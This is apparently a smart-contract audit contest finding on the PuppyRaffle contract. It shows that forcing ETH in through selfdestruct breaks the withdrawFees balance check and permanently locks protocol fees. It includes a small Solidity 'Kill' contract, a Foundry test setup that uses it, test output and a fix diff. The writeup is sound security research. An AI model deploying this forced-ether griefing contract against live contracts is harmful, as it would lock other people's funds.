withdrawFees uses address(this).balance == totalFees as its "no active players" check. Anyone can push ETH into the contract without calling any of its functions, using selfdestruct or a coinbase reward. Once the balance exceeds totalFees by even 1 wei, the check fails forever. Nothing in the contract can remove the extra ETH, so every current and future protocol fee is locked.
src/PuppyRaffle.sol:157-163:
selfdestruct(payable(raffle)) sends ETH without invoking a receive or fallback, so the contract can't reject it.
Every outflow is an exact computed amount: refund pays entranceFee, selectWinner pays prizePool, and withdrawFees pays totalFees. None of them can absorb the extra wei, so the inequality is permanent.
Likelihood: Low — an attacker must deliberately force ETH in (e.g. selfdestruct) at their own cost.
Impact: High
The protocol permanently loses access to all accrued and future fees. The attack costs 1 wei plus gas and is permissionless. The attacker gains nothing, so this is griefing: rated Medium (the protocol's funds are locked, with no theft).
test/PuppyRaffleAudit.t.sol::test_PoC_ForcedEtherLocksWithdrawFees
Run:
The output is in poc.txt.
Don't gate withdrawal on the raw balance. Check round state explicitly and withdraw only the tracked totalFees.
Since fees are tracked separately from the pot, withdrawing totalFees mid-round would also be safe, so the round check could be dropped entirely.
## Description An attacker can slightly change the eth balance of the contract to break the `withdrawFees` function. ## Vulnerability Details The withdraw function contains the following check: ``` require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); ``` Using `address(this).balance` in this way invites attackers to modify said balance in order to make this check fail. This can be easily done as follows: Add this contract above `PuppyRaffleTest`: ``` contract Kill { constructor (address target) payable { address payable _target = payable(target); selfdestruct(_target); } } ``` Modify `setUp` as follows: ``` function setUp() public { puppyRaffle = new PuppyRaffle( entranceFee, feeAddress, duration ); address mAlice = makeAddr("mAlice"); vm.deal(mAlice, 1 ether); vm.startPrank(mAlice); Kill kill = new Kill{value: 0.01 ether}(address(puppyRaffle)); vm.stopPrank(); } ``` Now run `testWithdrawFees()` - ` forge test --mt testWithdrawFees` to get: ``` Running 1 test for test/PuppyRaffleTest.t.sol:PuppyRaffleTest [FAIL. Reason: PuppyRaffle: There are currently players active!] testWithdrawFees() (gas: 361718) Test result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 3.40ms ``` Any small amount sent over by a self destructing contract will make `withdrawFees` function unusable, leaving no other way of taking the fees out of the contract. ## Impact All fees that weren't withdrawn and all future fees are stuck in the contract. ## Recommendations Avoid using `address(this).balance` in this way as it can easily be changed by an attacker. Properly track the `totalFees` and withdraw it. ```diff function withdrawFees() external { -- require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!"); uint256 feesToWithdraw = totalFees; totalFees = 0; (bool success,) = feeAddress.call{value: feesToWithdraw}(""); require(success, "PuppyRaffle: Failed to withdraw fees"); } ```
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.